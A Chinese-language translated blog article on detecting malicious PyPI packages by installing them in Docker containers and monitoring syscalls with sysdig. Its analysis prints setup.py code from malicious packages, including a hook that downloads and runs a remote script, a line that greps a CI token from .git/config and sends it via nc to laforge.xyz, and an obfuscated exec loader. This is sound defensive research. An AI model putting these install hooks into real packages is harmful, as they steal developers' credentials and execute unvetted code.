有人在代码里下毒!慎用 pip install 命令
Python中文社区
共 5026字,需浏览 11分钟
· 2020-11-22
https://discuss.python.org/t/what-methods-should-we-implement-to-detect-malicious-content/2240
),主要问题是来讨论我们如何检测上传到PyPI的恶意第三方软件包。无论是被接管了废弃的软件包,对流行的库进行Typosquatting
攻击钓鱼劫持,还是对第三方库进行撞库攻击,很明显,这都是一个值得思考的问题,几乎影响到每个开发者。使用pip install
安装软件包时,大多数人不清楚自己所需的python模块在哪个软件包中,有时候甚至是模糊搜索安装,这就给恶意利用的人提供了机会。setup.py
文件中。您可以在此github存储库(https://github.com/rsc-dev/pypi_malware/tree/master/malware
)中看到一些示例。npm
上手动使用grep
命令搜寻到了恶意软件包,``https://duo.com/decipher/hunting-malicious-npm-packages`),但在这篇文章中,我将重点介绍动态分析。毕竟我认为它会有效果,因为你正在查看实际发生的事情,而不是仅仅寻找未来可能发生的事。pip
)通过内核执行重要操作是通过使用syscall
来完成的。使用syscall
可以完成打开文件、建立网络连接和执行命令的所有操作!Julia Evans
的漫画中了解syscall
的更多内容:syscalls
),就可以查看是否发生了任何可疑事件。syscalls
)这个方法并不是我想到的。自2017年以来,亚当·鲍德温(Adam Baldwin)等人就一直在谈论这一问题。佐治亚理工学院的研究人员发表了一篇出色的论文(https://arxiv.org/pdf/2002.01139.pdf
),采用了同样的方法。老实说,大多数博客文章只是试图重现他们的想法。syscalls
),那么到底该怎么做呢?Sysdig
监测Syscall
sysdig
,因为它既提供结构化输出,又提供了一些非常好的过滤功能。Docker
容器时,我还启动了一个sysdig
进程,该进程仅监测该容器中的事件。我也过滤掉了要从pypi.org
或files.pythonhosted.com
进行的网络读取/写入,因为我不想被与软件包下载相关的事件写满日志。Simple API
(https://www.python.org/dev/peps/pep-0503/
)的API,可以将其视为“一个非常大的HTML页面,其中包含指向每个包的链接”。它简单,干净而且比我可能会写的任何HTML都要好。pup
解析所有链接,从而为我们提供约268,000个软件包:> curl https://pypi.org/simple/ | pup'a text {}'> pypi_full.txt
> wc -l pypi_full.txt
268038 pypi_full.txt
pip install
安装软件包同时启动sysdig
,以监测syscall
和网络流量。然后,所有数据都被运送到S3
以供未来使用。S3
存储库中获取几TB的数据,覆盖大约245,000个软件包。尽管有的软件包没有发布版本,有的软件包具有各种bug,但是这似乎也是一个很好的样本。grep
操作){
"metadata": {},
"output": {
"dns": [], // Any DNS requests made
"files": [], // All file access operations
"connections": [], // TCP connections established
"commands": [], // Any commands executed
}
}
https://gist.github.com/jordan-wright/c8b273372368ee639dec46b08a93bce1
)是安装过程中看到的DNS请求明细。i-am-malicious
i-am-malicious
的软件包似乎是恶意软件包的证明。以下是一些有趣的细节,使我们认为该程序包值得研究(如果名称不够的话......):{
"dns": [{
"name": "gist.githubusercontent.com",
"addresses": [
"199.232.64.133"
]
}]
],
"files": [
...
{
"filename": "/tmp/malicious.py",
"flag": "O_RDONLY|O_CLOEXEC"
},
...
{
"filename": "/tmp/malicious-was-here",
"flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
},
...
],
"commands": [
"python /tmp/malicious.py"
]
}
gist.github.com
的连接,正在执行一个Python文件,并在此处创建了一个名为/ tmp / malicious-was-here
的文件。当然,这就是setup.py
中发生的事情:from urllib.request import urlopen
handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")
with open("/tmp/malicious.py", "wb") as fp:
fp.write(handler.read())
import subprocess
subprocess.call(["python", "/tmp/malicious.py"])
malicious.py
程序只是向/ tmp / malicious-was-here
添加了““I was here”类型的消息,表明这确实是一个证明。maliciouspackage
maliciouspackage
更邪恶。这是相关的输出:{
"dns": [{
"name": "laforge.xyz",
"addresses": [
"34.82.112.63"
]
}],
"files": [
{
"filename": "/app/.git/config",
"flag": "O_RDONLY"
},
],
"commands": [
"sh -c apt install -y socat",
"sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
"grep ci-token /app/.git/config",
"nc laforge.xyz 5566"
]
}
.git / config
文件中提取令牌并将其上传到laforge.xyz
。浏览setup.py
,我们发现确实是这样:...
import os
os.system('apt install -y socat')
os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')
easyIoCtl
easyIoCtl
是一个有趣的软件包。它声称可以“摆脱无聊的IO操作”,但我们看到以下命令正在执行:[
"sh -c touch /tmp/testing123",
"touch /tmp/testing123"
]
setup.py
中的相关代码:class MyInstall():
def run(self):
control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'
control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]
control_flow_guard_init = ""
for controL_flow_code in control_flow_guard_mappers:
control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]
exec(control_flow_guard_init)
exec
的调用,但仅此而已。exec
,结果是:import os;os.system('touch /tmp/testing123')
security@python.org
来完成。maliciouspackage
的次数:#standardSQL
SELECT COUNT(*) AS num_downloads
FROM `the-psf.pypi.file_downloads`
WHERE file.project = 'maliciouspackage'
-- Only query the last 30 days of history
AND DATE(timestamp)
BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)
AND CURRENT_DATE()
pip install smb
或者 pip download smb
, 那么你的个人信息可能已经泄露)但是我总是有可能错过某些事情,或者将来会发生。如果您有兴趣挖掘数据,可以在这里(https://drive.google.com/file/d/1ukZK5-JEQrmo_t15aq_4z-jlkjNqbec8/view?usp=sharing
)找到。Lambda
函数,以使用PyPI的RSS feed功能获取最新的软件包更新。每个更新的程序包都将经过相同的处理,如果检测到可疑活动,则会发送警报。pip install
命令就可以让程序在用户系统上执行任意操作。我知道大多数程序包都是善意的,但它带来了风险。希望越来越多地监测各种第三方程序包管理器,并识别出恶意活动的迹象。https://github.com/jordan-wright/ossmalware
)找到用于运行实验的所有代码。往期推荐
点击下方阅读原文加入社区会员
点赞鼓励一下
评论
阿里的同事,写的代码真 TMD 优雅!
通过这篇文章你将了解到整洁的代码对项目、公司和你的重要性,以及如何书写整洁的代码.通过命名、类、函数、测试这四个章节,使我们的代码变得整洁.1、为什么要保持代码整洁?不整洁的代码随着时间的增加而增加时,生产力会随之降低.导致的结果就是:代码不易扩展或扩展容易引发其他问题程序崩溃加班增加公司成本(加人
Java专栏
1
老爸嘲讽我了,写破代码一年就挣十几万,他在工地带50个工人,一个月光人头费就3万,让我滚回去跟他干!
点击上方 "大数据肌肉猿"关注, 星标一起成长点击下方链接,进入高质量学习交流群今日更新| 1052个转型案例分享-大数据交流群来自:网络,侵删有个网友的父亲是做工程的,天天就嘲笑他,说他天天写着破代码有啥用,一年就拿个十多万的死工资,然后告诉他自己在工地里面带了50个工人,一个月能抽三万
程序源代码
0
中国人民大学《大语言模型》书籍中文版开放下载!还配套代码工具库~
大语言模型综述文章《A Survey of Large Language Models》团队终于出书啦!而且是中文版——《大语言模型》!这本书整理呈现了大模型技术框架和路线图,是一本非常好的入门书籍。🧿🧿🧿
此外,官方不仅发布了电子版 PDF 下载链接,还提供了配套资源。点赞 👍图书下载 → [大
机器学习算法与Python实战
0
15种时间序列预测方法总结(包含多种方法代码实现)
向AI转型的程序员都关注了这个号👇👇👇在这篇文章中,我们将深入探讨时间序列预测的基本概念和方法。我们将首先介绍单元预测和多元预测的概念,然后详细介绍各种深度学习和传统机器学习方法如何应用于时间序列预测,包括循环神经网络(RNN)、一维卷积神经网络(1D-CNN)、Transformer、自回归模型(
机器学习AI算法工程
0
一个神奇的 Linux命令——type
转自:科学随想录在Linux系统中,了解命令的类型、位置和完整路径对于系统管理和开发非常重要。type命令是一个强大而实用的工具,能够帮助我们查看给定命令的类型、位置和完整路径。在本文中,我们将深入探索type命令的用法和功能,并提供详细的代码示例和输出,以帮助读者全面了解该命令。第一部分:type
开源Linux
0
大厂都在用的 Git 代码管理规范 !
👉 欢迎加入小哈的星球 ,你将获得: 专属的项目实战 / Java 学习路线 / 一对一提问 / 学习打卡 / 赠书福利全栈前后端分离博客项目 2.0 版本完结啦, 演示链接:http://116.62.199.48/ ,新项目正在酝酿中
小哈学Java
2
这五款牛逼的 IDEA 插件,堪称代码质量检查利器!
来源:blog.csdn.net/a745233700?type=blog一、Alibaba Java Coding Guidelines二、CheckStyle:三、PMD四、FindBugs:五、SonarLint:总结随着业务的发展,系统会越来越庞大,原本简单稳定的功能,可能在不断迭代后复杂度
码农突围
0
如此“爬虫”?代码全省了
大家好,我是章北海Jina AI 开源了 RAG 数据处理中的关键组件:“网页数据爬取” ——Reader,目前 3300+ Star⭐️项目地址:https://github.com/jina-ai/readerJina AI Reader 特征:免费使用开源延迟大概 2S 内,复杂的内容可能需要
机器学习算法与Python实战
0